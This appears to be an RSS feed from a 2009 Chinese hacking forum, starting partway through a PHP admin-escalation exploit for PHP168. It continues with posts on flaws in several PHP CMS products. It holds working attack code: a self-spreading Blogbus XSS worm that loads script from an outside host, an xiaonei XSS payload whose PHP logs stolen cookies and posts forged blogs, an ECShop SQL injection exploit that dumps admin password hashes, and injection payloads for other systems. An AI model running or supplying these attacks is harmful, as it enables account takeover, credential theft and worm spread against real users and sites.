php &#039;.$argv[0].&#039; localhost /php168/ ryat 123456
+---------------------------------------------------------------------------+
&#039;);
    exit;
}

error_reporting(7);
ini_set(&#039;max_execution_time&#039;, 0);

$host = $argv[1];
$path = $argv[2];
$user = $argv[3];
$pass = $argv[4];

$resp = send();
preg_match(&#039;/Set-Cookie:\s(passport=([0-9]{1,4})%09[a-zA-Z0-9%]+)/&#039;, $resp, $cookie);

if ($cookie)
    if (strpos(send(), &#039;puret_t&#039;) !== false)
        exit(&quot;Expoilt Success!\nYou Are Admin Now!\n&quot;);
    else 
        exit(&quot;Exploit Failed!\n&quot;);
else
    exit(&quot;Exploit Failed!\n&quot;);
    
function rands($length = 8)
{
    $hash = &#039;&#039;;
    $chars = &#039;ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz&#039;;
    $max = strlen($chars) - 1;
    mt_srand((double)microtime() * 1000000);
    for ($i = 0; $i &lt; $length; $i++)
        $hash .= $chars[mt_rand(0, $max)];

    return $hash;
}

function send()
{
    global $host, $path, $user, $pass, $cookie;
    
    if ($cookie) {
        $cookie[1] .= &#039;;USR=&#039;.rands().&quot;\t31\t\t&quot;;
        $cmd = &#039;memberlevel[8]=1&amp;memberlevel[9]=1&amp;memberlevel[3,introduce%3D0x70757265745f74]=-1&#039;;
    
        $message = &quot;POST &quot;.$path.&quot;member/homepage.php?uid=$cookie[2]  HTTP/1.1\r\n&quot;;
        $message .= &quot;Accept: */*\r\n&quot;;
        $message .= &quot;Accept-Language: zh-cn\r\n&quot;;
        $message .= &quot;Content-Type: application/x-www-form-urlencoded\r\n&quot;;
        $message .= &quot;User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n&quot;;
        $message .= &quot;Host: $host\r\n&quot;;
        $message .= &quot;Content-Length: &quot;.strlen($cmd).&quot;\r\n&quot;;
        $message .= &quot;Connection: Close\r\n&quot;;
        $message .= &quot;Cookie: &quot;.$cookie[1].&quot;\r\n\r\n&quot;;
        $message .= $cmd;
    } else {
        $cmd = &quot;username=$user&amp;password=$pass&amp;step=2&quot;;
        
        $message = &quot;POST &quot;.$path.&quot;do/login.php  HTTP/1.1\r\n&quot;;
        $message .= &quot;Accept: */*\r\n&quot;;
        $message .= &quot;Accept-Language: zh-cn\r\n&quot;;
        $message .= &quot;Content-Type: application/x-www-form-urlencoded\r\n&quot;;
        $message .= &quot;User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n&quot;;
        $message .= &quot;Host: $host\r\n&quot;;
        $message .= &quot;Content-Length: &quot;.strlen($cmd).&quot;\r\n&quot;;
        $message .= &quot;Connection: Close\r\n\r\n&quot;;
        $message .= $cmd;
    }
    
    $fp = fsockopen($host, 80);
    fputs($fp, $message);
    
    $resp = &#039;&#039;;

    while ($fp &amp;&amp; !feof($fp))
        $resp .= fread($fp, 1024);
    
    return $resp;
}

?&gt;</code></pre></div>]]></description>
			<author><![CDATA[dummy@example.com (puret_t)]]></author>
			<pubDate>Fri, 17 Jul 2009 15:50:54 +0000</pubDate>
			<guid>http://bbs.wolvez.org/topic/89/new/posts/</guid>
		</item>
		<item>
			<title><![CDATA[EmpireCMS 5.1 多个垃圾注射漏洞]]></title>
			<link>http://bbs.wolvez.org/topic/58/new/posts/</link>
			<description><![CDATA[<p>EmpireCMS 5.1 有个过滤函数没处理好\，可能导致产生多处垃圾类型的注射漏洞</p><p>比如留言处注射：</p><p>e/tool/gbook/?bid=1</p><p>姓名： 縗\</p><p>邮箱：,1,1,1,(select concat(username,0x5f,password,0x5f,rnd) from phome_enewsuser where userid=1),1,1,1,0,0,0)/*</p><p>电话和留言内容随便写，提交完了就可以看到密码了</p><p>代码和exp就不贴了</p>]]></description>
			<author><![CDATA[dummy@example.com (flyh4t)]]></author>
			<pubDate>Mon, 29 Jun 2009 02:49:36 +0000</pubDate>
			<guid>http://bbs.wolvez.org/topic/58/new/posts/</guid>
		</item>
		<item>
			<title><![CDATA[Blogbus蠕虫]]></title>
			<link>http://bbs.wolvez.org/topic/81/new/posts/</link>
			<description><![CDATA[<p>本来以为很简单的。测试碰到了不少问题。<br />后台管理为：http://www.blogbus.com/user/<br />前台XSS为：http://xxx.blogbus.com<br />需要跨域。直接试用COOKIE提交缺少session_id.<br />博客主页cookie：<br /></p><div class="quotebox"><blockquote><p>---------------------------<br />Windows Internet Explorer<br />---------------------------<br />__utma=269084194.42081505.1243533426.1243533426.1243538283.2; __utmz=269084194.1243533426.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); valid=blogbus.com; bus_xuid=4856367; __utmb=269084194; __utmc=269084194; bus_uid=4856367; cmt_homepage=http%3A%2F%2F<br />---------------------------<br />确定&nbsp; &nbsp;<br />---------------------------</p></blockquote></div><p>后台cookie：<br /></p><div class="quotebox"><blockquote><p>---------------------------<br />Windows Internet Explorer<br />---------------------------<br />blogbus_as_hash=4be67586fb028479bc7c8e8d105d37a6; __utma=269084194.42081505.1243533426.1243533426.1243538283.2; __utmz=269084194.1243533426.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); valid=blogbus.com; bus_xuid=4856367; __utmb=269084194; __utmc=269084194; bus_uid=4856367; cmt_homepage=http%3A%2F%2F; bus_sessid=bf414d9e43c1a75274de5ab2c09567db<br />---------------------------<br />确定&nbsp; &nbsp;<br />---------------------------</p></blockquote></div><p>偷懒找到一个非持久的XSS，刚好cookie里包含了session_id</p><p><a href="http://www.blogbus.com/skin/?style=&lt;script&gt;alert(1)&lt;/script&gt;">http://www.blogbus.com/skin/?style=&lt; &#133; script&gt;</a></p><p>后面就简单了：<br /><a href="http://www.blogbus.com/user/?mm=Setting">http://www.blogbus.com/user/?mm=Setting</a><br />页面允许写入任意JS。前台执行。我们一个隐藏框架将非持久传唤为持久。</p><p>最后贴上exp，很多bug，写的匆忙，将所有的选项都直接修改了。<br /></p><div class="codebox"><pre><code>&lt;iframe style=&quot;display:none&quot; src=&quot;http://www.blogbus.com/skin/?style=&lt;SCRIPT%20src=&#039;http://www.delover.net/bus.js&#039;&gt;&lt;/SCRIPT&gt;&quot;&gt;&lt;/iframe&gt;</code></pre></div><p><em>bus.js</em></p><div class="codebox"><pre><code>function createAjax() {
    var _xmlhttp;
    try {
        _xmlhttp=new ActiveXObject(&quot;Microsoft.XMLHTTP&quot;);
    }
    catch (e) {
        try {
            _xmlhttp=new XMLHttpRequest();
        }
        catch (e) {
            _xmlhttp=false;
        }
    }
    return _xmlhttp;
}

//javascript:alert(document.cookie)

function GetTag() {
    var xmlhttp=createAjax();
    if (xmlhttp) {
        xmlhttp.open(&#039;get&#039;,&#039;/user/?blogid=4884256&amp;mm=Setting&amp;n=&#039;+Math.random(),true);
        xmlhttp.onreadystatechange=function() {
            if (xmlhttp.readyState==4 &amp;&amp; xmlhttp.status==200) {
                if (unescape(xmlhttp.responseText).indexOf(&quot;www.blogbus.com/skin&quot;)&gt;=0 || unescape(xmlhttp.responseText).indexOf(&quot;img_regbtn.gif&quot;)&gt;=0){
                    //传播过了
                }else{
                    AddNew();
                }
            }
        }
        xmlhttp.send(null);
    }
}

function AddNew() {
    var xmlhttp=createAjax();
    if (xmlhttp) {    

        var GuestInfo=&quot;BlogName=jackal&amp;Description=jackal&amp;AccessPwd=&amp;Meta=%3Ciframe+style%3D%22display%3Anone%22+src%3D%22http%3A%2F%2Fwww.blogbus.com%2Fskin%2F%3Fstyle%3D%3CSCRIPT%2520src%3D%27http%3A%2F%2Fdelover.net%2Fbus.js%27%3E%3C%2FSCRIPT%3E%22%3E%3C%2Fiframe%3E&amp;Submit=%E4%BF%9D%E5%AD%98%E8%AE%BE%E7%BD%AE&quot;;
        //debug
        //alert(GuestInfo);
        xmlhttp.open(&#039;post&#039;,&#039;/user/?mm=Setting&amp;aa=Save&amp;n=&#039;+Math.random(),true);
        xmlhttp.setRequestHeader(&quot;Content-Type&quot;,&quot;application/x-www-form-urlencoded&quot;);
        xmlhttp.onreadystatechange=function() {
            if (xmlhttp.readyState==4 &amp;&amp; xmlhttp.status==200) {
                //alert(unescape(xmlhttp.responseText));
            }
        }
        xmlhttp.send(GuestInfo);
    }
}

GetTag();</code></pre></div><p>测试地址：http://delover.blogbus.com/</p><p>等待秋MM中招。。:)</p>]]></description>
			<author><![CDATA[dummy@example.com (q1ur3n)]]></author>
			<pubDate>Tue, 09 Jun 2009 07:54:27 +0000</pubDate>
			<guid>http://bbs.wolvez.org/topic/81/new/posts/</guid>
		</item>
		<item>
			<title><![CDATA[DedeCMSV53任意变量覆盖漏洞]]></title>
			<link>http://bbs.wolvez.org/topic/80/new/posts/</link>
			<description><![CDATA[<p>今天看到mr_xhming同学一个文章（http://hi.baidu.com/mr_xhming/blog/item/8176f00bf540f11795ca6b3f.html），发现这个老BUG还没被修补的样子，从内部论坛转一个pp出来，欢迎大家拍砖</p><p>DedeCMSV53任意变量覆盖漏洞 </p><p>BY flyh4t<br /><a href="http://www.wolvez.org">http://www.wolvez.org</a><br />2008-12-12</p><p>DedeCMSV53发布了，但是依旧没有将变量覆盖漏洞彻底修补。这个漏洞和ryat那个很相似 :)<br />看核心文件include/common.inc.php中的代码</p><div class="codebox"><pre><code>//检查和注册外部提交的变量
foreach($_REQUEST as $_k=&gt;$_v)
{
    if( strlen($_k)&gt;0 &amp;&amp; eregi(&#039;^(_|cfg_|GLOBALS)&#039;,$_k) &amp;&amp; !isset($_COOKIE[$_k]) )//程序员逻辑混乱了？
    {
        exit(&#039;Request var not allow!&#039;);
    }
}</code></pre></div><p>这个地方可以通过提交_COOKIE变量绕过cfg_等关键字的过滤<br />接着是注册变量的代码<br /></p><div class="codebox"><pre><code>foreach(Array(&#039;_GET&#039;,&#039;_POST&#039;,&#039;_COOKIE&#039;) as $_request)
{
    foreach($$_request as $_k =&gt; $_v) ${$_k} = _RunMagicQuotes($_v);
}</code></pre></div><p>然后初始化变量</p><br /><div class="codebox"><pre><code>//数据库配置文件
require_once(DEDEDATA.&#039;/common.inc.php&#039;);

//系统配置参数
require_once(DEDEDATA.&quot;/config.cache.inc.php&quot;);</code></pre></div><p>看似不能利用了，但是幸运的是在文件最后有这样一段代码<br /></p><div class="codebox"><pre><code>//转换上传的文件相关的变量及安全处理、并引用前台通用的上传函数
if($_FILES)
{
    require_once(DEDEINC.&#039;/uploadsafe.inc.php&#039;);
}</code></pre></div><p>再看uploadsafe.inc.php给我们提供了什么<br /></p><div class="codebox"><pre><code>$keyarr = array(&#039;name&#039;,&#039;type&#039;,&#039;tmp_name&#039;,&#039;size&#039;);

foreach($_FILES as $_key=&gt;$_value)
{
    foreach($keyarr as $k)
    {
        if(!isset($_FILES[$_key][$k]))
        {
            exit(&#039;Request Error!&#039;);
        }
    }
    $$_key = $_FILES[$_key][&#039;tmp_name&#039;] = str_replace(&quot;\\\\&quot;,&quot;\\&quot;,$_FILES[$_key][&#039;tmp_name&#039;]);
             //注意这个地方，通过common.inc.php的漏洞，我们是可以控制$_FILES[$_key][&#039;tmp_name&#039;] 的</code></pre></div><p>这里通过提交类似common.inc.php?_FILES[cfg_xxxx][tmp_name] =aaaaaa&amp;……来覆盖cfg_xxxx<br />利用的时候注意给cookie赋值，同时要绕过uploadsafe.inc.php里面的一些判断</p><p>Last edited by flyh4t (2008-12-12 15:59:00)</p>]]></description>
			<author><![CDATA[dummy@example.com (flyh4t)]]></author>
			<pubDate>Wed, 27 May 2009 16:58:49 +0000</pubDate>
			<guid>http://bbs.wolvez.org/topic/80/new/posts/</guid>
		</item>
		<item>
			<title><![CDATA[DreamArticle 3.0 后台验证逻辑漏洞和注入漏洞, 导致直接登录后台]]></title>
			<link>http://bbs.wolvez.org/topic/78/new/posts/</link>
			<description><![CDATA[<p>Team: bbs.wolvez.org<br />By q1ur3n</p><p>在admin/global.php 有这样一段代码，用来实现”记住密码”登录后台功能的。</p><p>$administrator&nbsp; &nbsp; = get_cookie(&quot;administrator&quot;);<br />$adminpassword&nbsp; &nbsp; = get_cookie(&quot;adminpassword&quot;);<br />if ($administrator &amp;&amp; $adminpassword) {<br />&nbsp; &nbsp; islogin($administrator,$adminpassword);<br />} else {<br />&nbsp; &nbsp; unset($_SESSION[&#039;admincode&#039;]);<br />&nbsp; &nbsp; set_cookie(&quot;admincode&quot;,&#039;&#039;,time() - 31536000);<br />&nbsp; &nbsp; set_cookie(&quot;adminid&quot;,&#039;&#039;,time() - 31536000);<br />&nbsp; &nbsp; set_cookie(&quot;administrator&quot;, &#039;&#039;,time() - 31536000);<br />&nbsp; &nbsp; set_cookie(&quot;adminpassword&quot;, &#039;&#039;,time() - 31536000);<br />&nbsp; &nbsp; da_admin_login();<br />}<br />$admin=get_admin_info($administrator,$adminpassword);</p><p>get_cookie() 在/include/common.php</p><p>function get_cookie($name){<br />&nbsp; &nbsp; global $_COOKIE,$cookieprename;<br />&nbsp; &nbsp; if (isset($_COOKIE[$cookieprename.$name])) {<br />&nbsp; &nbsp; &nbsp; &nbsp; return urldecode($_COOKIE[$cookieprename.$name]);<br />&nbsp; &nbsp; }<br />&nbsp; &nbsp; return FALSE;<br />}<br />可以看到用了urldecode()函数，可以用%2527引入一个单引号绕过gpc</p><p>Islogin() 在admin/function.php</p><p>function islogin($username, $password) {<br />&nbsp; &nbsp; global $DreamCMS;<br />&nbsp; &nbsp; $_password_=$DreamCMS-&gt;db-&gt;get_var(&quot;SELECT `password` FROM `#DC@__members` WHERE `username`=&#039;{$username}&#039;&quot;); //查询$username的密码<br />&nbsp; &nbsp; if($password!=$_password_){ //数据库里的密码和提交的密码相比较，不一样就$ISDreamCMSADMIN=FALSE<br />&nbsp; &nbsp; &nbsp; &nbsp; $ISDreamCMSADMIN=FALSE;<br />&nbsp; &nbsp; &nbsp; &nbsp; if(md5(base64_encode(&#039;__DreamCMS__&#039;.$username.&#039;~!(*%)$!$~&#039;.$password.&#039;%#@)&#039;))==DreamCMSAdmin){<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $ISDreamCMSADMIN=TRUE;&nbsp; //这里是实现一个超级管理员的功能的，DreamCMSAdmin定义在配置文件里。<br />&nbsp; &nbsp; &nbsp; &nbsp; }<br />&nbsp; &nbsp; }<br />&nbsp; &nbsp; if (empty($username)||empty($password)||$ISDreamCMSADMIN){ //逻辑错误出现了，程序员本意是,如果$username为空,或者$password为空，或者$ISDreamCMSADMIN为false就执行登出处理，可以却忘记了在$ISDreamCMSADMIN前面加上!,这样就刚好和程序员本意相反了.也就是说这里就算我们的密码不对都可以通过这个函数。<br />&nbsp; &nbsp; &nbsp; &nbsp; unset($_SESSION[&#039;admincode&#039;]);<br />&nbsp; &nbsp; &nbsp; &nbsp; set_cookie(&quot;admincode&quot;,&#039;&#039;,time() - 31536000);<br />&nbsp; &nbsp; &nbsp; &nbsp; set_cookie(&quot;adminid&quot;,&#039;&#039;,time() - 31536000);<br />&nbsp; &nbsp; &nbsp; &nbsp; set_cookie(&quot;administrator&quot;, &#039;&#039;,time() - 31536000);<br />&nbsp; &nbsp; &nbsp; &nbsp; set_cookie(&quot;adminpassword&quot;, &#039;&#039;,time() - 31536000);<br />&nbsp; &nbsp; &nbsp; &nbsp; da_admin_login();<br />&nbsp; &nbsp; }<br />}</p><p>看下面的$admin=get_admin_info($administrator,$adminpassword);</p><p>function get_admin_info($username, $password) {<br />&nbsp; &nbsp; global $DreamCMS;<br />&nbsp; &nbsp; $admin=$DreamCMS-&gt;db-&gt;get_row(&quot;SELECT * FROM `#DC@__members` WHERE `username`=&#039;{$username}&#039; AND password=&#039;{$password}&#039;&quot;);<br />&nbsp; &nbsp; if(empty($admin)){<br />&nbsp; &nbsp; &nbsp; &nbsp; if(md5(base64_encode(&#039;__DreamCMS__&#039;.$username.&#039;~!(*%)$!$~&#039;.$password.&#039;%#@)&#039;))==DreamCMSAdmin){<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $admin-&gt;uid=&quot;1&quot;;<br />&nbsp; &nbsp; &nbsp; &nbsp; }<br />&nbsp; &nbsp; }<br />&nbsp; &nbsp; $admin-&gt;info &amp;&amp; $admin-&gt;info=unserialize($admin-&gt;info);<br />&nbsp; &nbsp; return $admin;<br />}</p><p>这里就麻烦了，帐号或者密码不对就没有任何权限。<br />别忘了，前面还有个可以绕过gpc的get_cookie()<br />详细的利用方法和exp我就不贴出来了，自己摸索。<br />本地测试是可以直接进后台的。<br />可以参考这里。<br /><a href="http://delover.net/blogview.asp?logID=78&amp;cateID=2">http://delover.net/blogview.asp?logID=78&amp;cateID=2</a></p>]]></description>
			<author><![CDATA[dummy@example.com (flyh4t)]]></author>
			<pubDate>Sat, 16 May 2009 14:19:36 +0000</pubDate>
			<guid>http://bbs.wolvez.org/topic/78/new/posts/</guid>
		</item>
		<item>
			<title><![CDATA[Bo-Blog 2.0.3  注射漏洞]]></title>
			<link>http://bbs.wolvez.org/topic/77/new/posts/</link>
			<description><![CDATA[<p>Bo-Blog 2.0.3&nbsp; 注射漏洞</p><p>BY Flyh4t</p><p><a href="http://bbs.wolvez.org">http://bbs.wolvez.org</a></p><p>上次硬盘坏了丢了很多数据</p><p>今天某兄弟生日</p><p>掏空我的记忆回想起来一个很老的漏洞<br /></p><div class="codebox"><pre><code>//inc/mod_tag.php

------------------------
if (!defined(&#039;VALIDREQUEST&#039;)) die (&#039;Access Denied.&#039;);

if (!$job) $job=&#039;default&#039;;
else $job=basename($job);
$itemid=safe_convert($itemid);

acceptrequest(&#039;tag,rewrite&#039;);
if ($tag!==&#039;&#039;) $job=&#039;show&#039;;
$tag=($config[&#039;smarturl&#039;]==1 &amp;&amp; $config[&#039;urlrewrite&#039;]==1 &amp;&amp; $rewrite==1) ? tagurldecode($tag) : $tag;
//缺省情况$config[&#039;smarturl&#039;]==1 &amp;&amp; $config[&#039;urlrewrite&#039;]==1 这个条件是不成立的，所以不会调用tagurldecode函数
//要管理员使用urlrewite功能才可以

if ($job==&#039;default&#039;) {
..........
}

if ($job==&#039;show&#039;) {
    acceptrequest(&#039;mode&#039;);
    if ($mode==1 || $mode==2) $mbcon[&#039;tag_list&#039;]=$mode-1;

    $m_b=new getblogs;
    if ($tag===&#039;&#039;) catcherror($lnc[192]);
    
    //$tag 变量进入查询语句，但是需要一个单引号，我们恰好可以通过tagurldecode函数引入单引号
    $allentries=$blog-&gt;getgroupbyquery(&quot;SELECT * FROM `{$db_prefix}tags` WHERE `tagname`=&#039;{$tag}&#039; LIMIT 0,1&quot;);
    if (!is_array($allentries[0]) || $allentries[0][&#039;tagentry&#039;]==&#039;&lt;end&gt;&#039; || $allentries[0][&#039;tagcounter&#039;]==0) {
----------------------------</code></pre></div><p>$tag 变量进入查询语句是被单引号包围的，但是我们恰好可以通过tagurldecode函数引入单引号，看代码</p><div class="codebox"><pre><code>function tagurlencode($str) {//编码函数
    $str=urlencode($str);
    $str=str_replace(&#039;-&#039;, &#039;--&#039;, $str);
    $str=str_replace(&#039;%&#039;, &#039;-&#039;, $str);
    return $str;
}
function tagurldecode($str) { //解码函数
    $str=str_replace(&#039;-&#039;, &#039;%&#039;, $str);
    $str=str_replace(&#039;%%&#039;, &#039;-&#039;, $str);
    $str=urldecode($str);
    return $str;
}</code></pre></div><p>这样我们就可以利用这个漏洞<br /></p><div class="codebox"><pre><code>--------------------
poc:
index.php?act=tag&amp;job=show&amp;rewrite=1&amp;tag=aaaa-27
---------------</code></pre></div>]]></description>
			<author><![CDATA[dummy@example.com (flyh4t)]]></author>
			<pubDate>Thu, 07 May 2009 08:32:53 +0000</pubDate>
			<guid>http://bbs.wolvez.org/topic/77/new/posts/</guid>
		</item>
		<item>
			<title><![CDATA[校内网一个跨站漏洞的利用]]></title>
			<link>http://bbs.wolvez.org/topic/70/new/posts/</link>
			<description><![CDATA[<p>BY Flyh4t</p><p><a href="http://bbs.wolvez.org">http://bbs.wolvez.org</a></p><p>校内网在发blog时对插入图片过滤不严格，存在xss漏洞</p><p>在发blog时将插入图片URL写为如下代码即可触发：<br /></p><div class="codebox"><pre><code>javascript:window.location.href=&#039;http://xxxxx/test.php?cookie=&#039;+document.cookie </code></pre></div><p>test.php的作用是窃取cookie、伪造阅览者身份发一个blog、跳转到一个正常的日志,代码如下：<br /></p><div class="codebox"><pre><code>&lt;?php
ob_start(); 
$url = &#039;blog.xiaonei.com&#039;;
$cookie=$_GET[&#039;cookie&#039;];
$cookie1=$cookie.&quot;\r\n\r\n&quot;;
fputs(fopen(&#039;a.txt&#039;,&#039;a+&#039;),$cookie1); //cookie写入 a.txt

//发一条伪造的日志，这条日志里面也可以插入恶意代码
$sock = fsockopen(&quot;$url&quot;, 80, $errno, $errstr, 30);
if (!$sock) die(&quot;$errstr ($errno)\n&quot;);
$data = &quot;title=test by fly&amp;body=test by fly&amp;categoryId=0&amp;blogControl=99&amp;passwordProtedted=0&amp;passWord=&amp;blog_pic_id=&amp;pic_path=&amp;activity=&amp;id=&amp;relative_optpe=&quot;;

fwrite($sock, &quot;POST http://$url/NewEntry.do HTTP/1.1\r\n&quot;);
fwrite($sock, &quot;Accept: */*\r\n&quot;);
fwrite($sock, &quot;Referer: http://$url\r\n&quot;);
fwrite($sock, &quot;Accept-Language: zh-cn\r\n&quot;);
fwrite($sock, &quot;Content-Type: application/x-www-form-urlencoded\r\n&quot;);
fwrite($sock, &quot;Accept-Encoding: gzip, deflate\r\n&quot;);
fwrite($sock, &quot;User-Agent: Mozilla\r\n&quot;);
fwrite($sock, &quot;Host: $url\r\n&quot;);
fwrite($sock, &quot;Content-Length: &quot;.strlen($data).&quot;\r\n&quot;);
fwrite($sock, &quot;Connection: Keep-Alive\r\n&quot;);
fwrite($sock, &quot;Cache-Control: no-cache\r\n&quot;);
fwrite($sock, &quot;Cookie:&quot;.$cookie.&quot;\r\n\r\n&quot;);
fwrite($sock, $data);

$headers = &quot;&quot;;
while ($str = trim(fgets($sock, 4096)))
     $headers .= &quot;$str\n&quot;;
echo &quot;\n&quot;;
$body = &quot;&quot;;
while (!feof($sock))
     $body .= fgets($sock, 4096);

fclose($sock);
//echo $body;

//跳转到一个正常的日志
Header(&quot;Location: http://blog.xiaonei.com/GetEntry.do?id=xxxx&amp;owner=xxxxx&quot;); 
ob_end_flush();

?&gt;</code></pre></div>]]></description>
			<author><![CDATA[dummy@example.com (flyh4t)]]></author>
			<pubDate>Sat, 11 Apr 2009 16:36:13 +0000</pubDate>
			<guid>http://bbs.wolvez.org/topic/70/new/posts/</guid>
		</item>
		<item>
			<title><![CDATA[ECShop注射漏洞]]></title>
			<link>http://bbs.wolvez.org/topic/67/new/posts/</link>
			<description><![CDATA[<p>by Ryat<br /><a href="http://bbs.wolvez.org">http://bbs.wolvez.org</a><br />2009-03-24</p><p>影响2.5.x和2.6.x,其他版本未测试</p><p>goods_script.php44行:<br /></p><div class="codebox"><pre><code>    if (empty($_GET[&#039;type&#039;]))
    {
        ...
    }
    elseif ($_GET[&#039;type&#039;] == &#039;collection&#039;)
    {
        ...
    }
    $sql .= &quot; LIMIT &quot; . (!empty($_GET[&#039;goods_num&#039;]) ? intval($_GET[&#039;goods_num&#039;]) : 10);
    $res = $db-&gt;query($sql);</code></pre></div><p>$sql没有初始化,很明显的一个漏洞:)</p><p>EXP:<br /></p><div class="codebox"><pre><code>#!/usr/bin/php
&lt;?php

print_r(&#039;
+---------------------------------------------------------------------------+
ECShop &lt;= v2.6.2 SQL injection / admin credentials disclosure exploit
by puret_t
mail: puretot at gmail dot com
team: http://bbs.wolvez.org
dork: &quot;Powered by ECShop&quot;
+---------------------------------------------------------------------------+
&#039;);
/**
 * works with register_globals = On
 */
if ($argc &lt; 3) {
    print_r(&#039;
+---------------------------------------------------------------------------+
Usage: php &#039;.$argv[0].&#039; host path
host:      target server (ip/hostname)
path:      path to ecshop
Example:
php &#039;.$argv[0].&#039; localhost /ecshop/
+---------------------------------------------------------------------------+
&#039;);
    exit;
}

error_reporting(7);
ini_set(&#039;max_execution_time&#039;, 0);

$host = $argv[1];
$path = $argv[2];

$resp = send();
preg_match(&#039;#href=&quot;([\S]+):([a-z0-9]{32})&quot;#&#039;, $resp, $hash);

if ($hash)
    exit(&quot;Expoilt Success!\nadmin:\t$hash[1]\nPassword(md5):\t$hash[2]\n&quot;);
else
    exit(&quot;Exploit Failed!\n&quot;);

function send()
{
    global $host, $path;

    $cmd = &#039;sql=SELECT CONCAT(user_name,0x3a,password) as goods_id FROM ecs_admin_user WHERE action_list=0x&#039;.bin2hex(&#039;all&#039;).&#039; LIMIT 1#&#039;;

    $data = &quot;POST &quot;.$path.&quot;goods_script.php?type=&quot;.time().&quot;  HTTP/1.1\r\n&quot;;
    $data .= &quot;Accept: */*\r\n&quot;;
    $data .= &quot;Accept-Language: zh-cn\r\n&quot;;
    $data .= &quot;Content-Type: application/x-www-form-urlencoded\r\n&quot;;
    $data .= &quot;User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n&quot;;
    $data .= &quot;Host: $host\r\n&quot;;
    $data .= &quot;Content-Length: &quot;.strlen($cmd).&quot;\r\n&quot;;
    $data .= &quot;Connection: Close\r\n\r\n&quot;;
    $data .= $cmd;

    $fp = fsockopen($host, 80);
    fputs($fp, $data);

    $resp = &#039;&#039;;

    while ($fp &amp;&amp; !feof($fp))
        $resp .= fread($fp, 1024);

    return $resp;
}

?&gt;</code></pre></div>]]></description>
			<author><![CDATA[dummy@example.com (toby57)]]></author>
			<pubDate>Thu, 26 Mar 2009 13:44:46 +0000</pubDate>
			<guid>http://bbs.wolvez.org/topic/67/new/posts/</guid>
		</item>
		<item>
			<title><![CDATA[ECMall本地文件包含漏洞]]></title>
			<link>http://bbs.wolvez.org/topic/65/new/posts/</link>
			<description><![CDATA[<p>by Ryat<br /><a href="http://bbs.wolvez.org">http://bbs.wolvez.org</a></p><p>respond.php 48行<br /></p><div class="codebox"><pre><code>$pay_code = !empty($_REQUEST[&#039;code&#039;]) ? trim($_REQUEST[&#039;code&#039;]) : &#039;&#039;;
...
$plugin_file = ROOT_PATH . &#039;/includes/payment/&#039; . $pay_code . &#039;.php&#039;;
if (is_file($plugin_file))
{
    include_once($plugin_file);</code></pre></div><p>很明显的一个bug<br />利用的话可以参考flyh4t提到过[<a href="http://bbs.wolvez.org/topic/56/">http://bbs.wolvez.org/topic/56/</a>]的一个思路:<br /></p><div class="quotebox"><blockquote><p>可以通过旁注拿个shell，然后写个main.php到/tmp目录下，然后包含之</p></blockquote></div>]]></description>
			<author><![CDATA[dummy@example.com (q1ur3n)]]></author>
			<pubDate>Mon, 23 Mar 2009 15:06:33 +0000</pubDate>
			<guid>http://bbs.wolvez.org/topic/65/new/posts/</guid>
		</item>
		<item>
			<title><![CDATA[浅析LxBlog V6变量未初始化漏洞]]></title>
			<link>http://bbs.wolvez.org/topic/64/new/posts/</link>
			<description><![CDATA[<p>浅析LxBlog V6变量未初始化漏洞<br />Flyh4t<br /><a href="http://bbs.wolvez.org">http://bbs.wolvez.org</a></p><p>本文已经发表在黑客防线,转载请署名</p><p>Lxblog是 PHPWind 开发的一套基于 PHP+MySQL 数据库平台架构的多用户博客系统，强调整站与用户个体间的交互，拥有强大的个人主页系统、独立的二级域名体系、灵活的用户模板系统、丰富的朋友圈和相册功能。但是该blog系统在安全性上并不让人满意，本文就来分析lxblog一个变量未初始化造成的sql注入漏洞。</p><p>我们先来分析一下这个漏洞，看代码：<br /></p><div class="codebox"><pre><code>=======================code==================================
/user/tag.php
&lt;?php
!function_exists(&#039;usermsg&#039;) &amp;&amp; exit(&#039;Forbidden&#039;);
!in_array($type,$item_type) &amp;&amp; exit;
//$type、$item_type均没有初始化
require_once(R_P.&#039;mod/charset_mod.php&#039;);
foreach ($_POST as $key =&gt; $value) {
    ${&#039;utf8_&#039;.$key} = $value;
    ${$key} = $db_charset != &#039;utf-8&#039; ? convert_charset(&#039;utf-8&#039;,$db_charset,$value) : $value;
}

if ($job == &#039;add&#039;) {
    ……//省略部分代码
}elseif($job==&quot;modify&quot;){
    $tagnum=&quot;{$type}num&quot;; 
    $touchtagdb=$db-&gt;get_one(&quot;SELECT k.tags,i.uid FROM pw_{$type} k LEFT JOIN pw_items i ON i.itemid=k.itemid WHERE k.itemid=&#039;$itemid&#039;&quot;); 
    //$type带入查询语句操作数据库
    $touchtagdb[&#039;uid&#039;]!=$admin_uid &amp;&amp; exit;
……//省略部分代码
=======================code==================================</code></pre></div><p>当然，在文件的第一行有 !function_exists(&#039;usermsg&#039;) &amp;&amp; exit(&#039;Forbidden&#039;); 这样一段代码的限制，我们不能直接访问该文件，但是可以通过user_index.php来include这个文件执行，看具体代码<br /></p><div class="codebox"><pre><code>=======================code==================================
//user_index.php
&lt;?php
……//省略部分代码
require_once(R_P.&#039;user/global.php&#039;);
require_once(R_P.&#039;user/top.php&#039;);

if (!$action) {
    ……//省略部分代码
} elseif ($action &amp;&amp; file_exists(R_P.&quot;user/$action.php&quot;)) {
    $basename = &quot;$user_file?action=$action&quot;;
    require_once(Pcv(R_P.&quot;user/$action.php&quot;));
   //通过提交$action=tag即可以调用到存在漏洞的文件
}
……//省略部分代码
=======================code==================================</code></pre></div><p>看到这个地方，应该已经可以触发该漏洞了，但是依然要考虑到是否会受到register_global的影响，幸好user_index.php在开始的时候包含了user/global.php这个文件，看看这个文件为我们提供了什么<br /></p><div class="codebox"><pre><code>=======================code==================================
//user/global.php
&lt;?
……//省略部分代码
if (!in_array($action,array(&#039;blogdata&#039;,&#039;comment&#039;,&#039;itemcp&#039;,&#039;post&#039;,&#039;userinfo&#039;))) {
